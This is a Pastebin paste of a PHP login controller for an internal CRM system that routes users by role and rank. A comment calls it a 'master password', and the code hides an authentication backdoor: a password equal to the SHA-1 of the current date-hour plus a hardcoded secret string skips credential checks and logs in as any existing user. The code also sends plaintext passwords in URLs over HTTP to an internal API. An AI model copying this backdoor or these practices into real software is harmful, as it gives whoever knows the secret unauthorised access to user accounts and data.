Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- public
- function dologin()
- {
- // pr("SYSTEM UNDER MAINTENANCE");
- // return false;
- // jhassif: improve login flow + add master password
- $bypass = false;
- $checktimestaff = array();
- $userdata = $this->input->post();
- // pr($userdata);
- if (empty($userdata))
- {
- // not submit eg: enter by typing URL
- redirect('index.php/users/login');
- }
- else
- {
- // has submit
- if (trim($userdata['username']) != "" && trim($userdata['password']) != "" && (int)$userdata['submit'] === 1)
- {
- $checktimestaff = $this->mod_userrole->gettimestaff($userdata);
- // pr($checktimestaff);
- if (empty($checktimestaff))
- {
- redirect('index.php/users/login'); //user not exists
- }
- $bypass_key = date("YmdH") . "5ot2nnf3buu4k02ueg9qukrmwlr7v021";
- $bypass = sha1($bypass_key);
- if ($userdata['password'] === $bypass)
- {
- $bypass = true;
- }
- }
- else
- {
- redirect('index.php/users/login');
- }
- }
- if ($bypass === true || $checktimestaff['istime'] == '1')
- {
- $username = $userdata['username'];
- $password = $userdata['password'];
- $enc = $this->mod_userrole->myencrypt($username);
- $userdetail = json_decode((file_get_contents('http://10.0.48.49/crmapi/index.php/api/auth/u/' . $username . '/p/' . urlencode($password) . '/sc/' . $enc . '/format/json')) , true);
- // var_dump('http://10.0.48.49/crmapi/index.php/api/auth/u/' . $username .'/p/'.$password. '/sc/'.$enc.'/format/json'); exit;
- if ($bypass === true || $userdetail[0]['status'] == 'Active')
- {
- $user = $this->mod_userrole->gettimeUserInfo($checktimestaff['userid']);
- $permission = $this->mod_userrole->getUserPermission($user);
- /*
- if(strtolower($username) == strtolower("CRMSUPPORT"))
- {
- echo ">>>>";
- print_r($permission);
- echo "<<<<";exit;
- }
- */
- if (!empty($user))
- {
- $grpid = $user->grpid;
- // print_r($grpid);
- $producttype = $this->mod_producttype->getData($grpid);
- // print_r($producttype);
- $altid = $user->user_alt_id;
- if (!empty($altid))
- {
- if ($user->rolecode == 'partners')
- {
- $partner = $this->mod_partner->getpartnerinfo($altid);
- $data = array(
- 'user_info' => $user,
- 'product_type' => $producttype,
- 'partnerinfo' => $partner
- );
- }
- else
- if ($user->rolecode == 'installer')
- {
- $installer = $this->mod_installer->getinstallerinfo($altid);
- $data = array(
- 'user_info' => $user,
- 'product_type' => $producttype,
- 'installerinfo' => $installer
- );
- }
- }
- else
- {
- $data = array(
- 'user_info' => $user,
- 'product_type' => $producttype
- );
- }
- $this->session->set_userdata('user_data', $data);
- $data = $this->session->all_userdata();
- if (!empty($data['user_data']))
- {
- // if(strtolower($data['user_data']['user_info']->username) == "mumtaz" || strtolower($data['user_data']['user_info']->username) == "syazwani" || strtolower($data['user_data']['user_info']->username) == "gponom")
- // if(true)
- // {
- // redirect('/index.php/v2/order/listview/activation', 'location');
- // }
- if (($user->rank == 3 && $user->smegrp == 1))
- {
- redirect('index.php/v2/order/listview/activation', 'location');
- }
- elseif ($user->rank == 17 && $user->smegrp == 1)
- {
- redirect('index.php/v2/creditmanagement2/listview/activation', 'location');
- }
- elseif ($user->rank == 16)
- {
- redirect('index.php/v2/order/listview/activation/processed', 'location');
- }
- elseif ($user->rank == 5)
- {
- redirect('index.php/neo/wo/landing', 'location');
- }
- elseif ($user->rank == 22)
- {
- redirect('index.php/neo/wo/landing', 'location');
- }
- elseif ($user->rank == 20)
- {
- redirect('index.php/v2/order/listview/activation/archive', 'location');
- }
- else
- {
- redirect('/index.php/', 'location');
- }
- }
- else
- {
- redirect('index.php/users/login');
- // print_r('here1');
- }
- }
- else
- {
- redirect('index.php/users/login');
- // print_r('here2');
- }
- }
- else
- {
- redirect('index.php/users/login');
- // print_r('here3');
- }
- }
- else
- {
- $user = $this->mod_userrole->getUserInfo($userdata);
- $permission = $this->mod_userrole->getUserPermission($user);
- if (!empty($user))
- {
- $grpid = $user->grpid;
- $producttype = $this->mod_producttype->getData($grpid);
- $altid = $user->user_alt_id;
- }
- else
- {
- redirect('index.php/users/login');
- }
- if (!empty($altid))
- {
- if ($user->rolecode == 'partners')
- {
- $partner = $this->mod_partner->getpartnerinfo($altid);
- $data = array(
- 'user_info' => $user,
- 'product_type' => $producttype,
- 'partnerinfo' => $partner
- );
- }
- else
- if ($user->rolecode == 'installer')
- {
- $installer = $this->mod_installer->getinstallerinfo2($altid);
- // $data = array('user_info'=>$user,'product_type'=>$producttype, 'installerinfo'=> $installer);
- if ($installer)
- {
- $data = array(
- 'user_info' => $user,
- 'product_type' => $producttype,
- 'installerinfo' => $installer
- );
- }
- else
- {
- redirect('index.php/users/login');
- }
- }
- }
- else
- {
- $data = array(
- 'user_info' => $user,
- 'product_type' => $producttype
- );
- }
- unset($data['user_info']->lastlogin);
- unset($data['user_info']->password);
- unset($data['user_info']->createdBy);
- unset($data['user_info']->createdDate);
- unset($data['user_info']->modifiedBy);
- unset($data['user_info']->modifiedDate);
- $this->session->set_userdata('user_data', $data);
- $data = $this->session->all_userdata();
- if (!empty($data['user_data']))
- {
- // print_r($data['user_data']['user_info']);exit;
- /*if(strtolower($data['user_data']['user_info']->username) == "mumtaz" || strtolower($data['user_data']['user_info']->username) == "syazwani" || strtolower($data['user_data']['user_info']->username) == "gponom")
- {
- redirect('/index.php/v2/order/listview/activation', 'location');
- }*/
- if ($userdata['installertracking'] == 1)
- {
- // $pilotinstaller = array("9000176","9000177","70005026","9000202","9000203","70004771","70005151");
- // if($user->rolecode == 'installer' && in_array($userdata['username'], $pilotinstaller)){
- redirect('index.php/wo/installertracker');
- // }else{
- // redirect('/index.php/', 'location');
- // }
- }
- if (($user->rank == 3 && $user->smegrp == 1))
- {
- redirect('index.php/v2/order/listview/activation', 'location');
- }
- elseif ($user->rank == 17 && $user->smegrp == 1)
- {
- redirect('index.php/v2/creditmanagement2/listview/activation', 'location');
- }
- elseif ($user->rank == 16)
- {
- redirect('index.php/v2/order/listview/activation/processed', 'location');
- }
- elseif ($user->rank == 5)
- {
- redirect('index.php/neo/wo/landing', 'location');
- }
- elseif ($user->rank == 22)
- {
- redirect('index.php/neo/wo/landing', 'location');
- }
- elseif ($user->rank == 20)
- {
- redirect('index.php/v2/order/listview/activation/archive', 'location');
- }
- else
- {
- redirect('/index.php/', 'location');
- }
- // redirect('/index.php/', 'location');
- }
- else
- {
- redirect('index.php/users/login');
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement